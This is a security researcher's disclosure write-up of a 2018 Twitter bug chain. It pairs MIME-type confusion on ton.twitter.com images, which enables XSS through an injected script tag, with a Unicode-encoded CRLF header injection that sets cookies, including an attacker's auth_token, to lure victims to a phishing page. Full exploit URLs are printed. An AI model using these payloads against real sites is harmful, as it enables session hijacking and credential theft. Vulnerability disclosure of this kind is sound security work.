Hello Everyone, I’m Seif Elsallamy an Application Penetration Tester at @Seekurity
Today I will introduce to you beautiful readers a bug that we discovered in Twitter social network, We are going to go a bit deeper. This vulnerability was discovered back in 2018 and we decided to publish it as we were restricted to sharing some information at the time of discovering it.
While sending an image in Twitter messages I copied the image source URL
https://ton.twitter.com/i/ton/data/dm/123456789/987654321/AbCdEf.jpg:large
by removing the last part “:large” and replacing it with “%23.html”
the Twitter mime type changed to HTML because we changed the extension to “.html” and “%23” which is the hex representation of the “#” hash character, any information comes after the hash character is for the client-side but if it’s hex encrypted Twitter should treat it as a server-side but Twitter ignored the hex hash character on the server-side set the mime type to HTML and returned the image in HTML format.
MIME-type is the mechanism to tell the client the variety of documents transmitted: the extension of a file name has no meaning on the web. It is, therefore, important that the server is correctly set up so that the correct MIME type is transmitted with each document. Browsers often use the MIME-type to determine what default action to do when a resource is fetched.
What does that mean?
It means that Twitter is no longer treating the image as an image, imagine that you open an image file on text editor it will look a little messy
It will look alike something like that:
So let’s take a coffee break and ask ourselves a question: WHAT WE CAN GET FROM HERE?
Do you smell that something?
Nope, not the coffee :D, that smells like an XSS!
So, what is XSS aka Cross-Site Scripting?
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end-user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.
Now we can execute some script on Twitter, let’s open our image on a text editor and add a line of HTML script, I hope it won’t affect the image!
Twitter processing the images but I noticed that there is a part that is not processed so I injected the following
<script src=”myurl”></script> and that’s all that we need to exploit XSS, luckily the image didn’t ruined!
So let’s upload the image changing the last part to “%23.html”
aaaand…
we did it!
But now we have a problem, Who is affected by this bug?
Only 2, me and the one received the image, so That’s not sound good
We need more escalate the attack to have a higher impact, Sorry for being greedy 😀
After 1 or 2 more days of researching finally, I found CRLF
WHAT IS CRLF?
The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They’re used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows, both a CR and LF are required to note the end of a line, whereas in Linux/UNIX and LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.
It’s my first CRLF I don’t know any information about it but by trying injecting the regular %0A and %0D I failed 🙁 but I’m sure that I read about a CRLF bug on Twitter that disclose the session!!!
After reading the following blog https://blog.innerht.ml/twitter-crlf-injection/ I realized a new way of using weird characters which actually could exploit CRLF on Twitter, and here it is:
嘊 = %E5%98%8A
Looks awesome, isn’t it?!
Now let’s try to inject a cookie
https://ton.twitter.com/1.1/ton/data/dm/x/%E5%98%8A%E5%98%8Dset-cookie%3A%20test%3Dtest%3B%20Domain%3D.twitter.com%3B%20Path%3D%2F%3B%20Expires%3DSat%2C%2015-Dec-2018%2009%3A45%3A55%20UTC
and I succeeded! I got a cookie with a name test and a value test!
We are almost done!
So let’s ask the same previous question, who can see the injected image?
Separate bugs are not that impactful that’s why we used a bug chain, but by joining both of them together the impact will be much more, ton.twitter.com showing the image to the one who has a valid auth_token cookie with a value that has the right to see the injected image, as an example, the attacker’s auth_token is valid and has the right to see the injected image, so if the attacker injected his own auth_token to the victim by CRLF, the injected image will appear to the victim even if the victim not following you, causing the XSS to fire, the final URL would be:
[1] change auth_token value to my own
auth_tokenvalue to make the injected image appear in your pc
[2] will redirect you to the injected imaged
[3] Javascript will be executed causing attacker’s phishing page to appear
Final URL:
https://ton.twitter.com/1.1/ton/data/dm/809353163740483587/809353151434330112/O5hEYiOt.jpg%2523.html%E5%98%8A%E5%98%8Dset-cookie%3A%20auth_token%3Db2868e3d5fd901a1cf4819afd147ee893f331294%3B%20Domain%3D.twitter.com%3B%20Path%3D%2F%3B%20Expires%3DSat%2C%2015-Dec-2018%2009%3A45%3A55%20UTC%3BSecure%3BHTTPOnly
Now, I can make a phishing page on ton.twitter.com I could let people login into ton.twitter.com and I receive their passwords.
Thanks for reading
Previous Next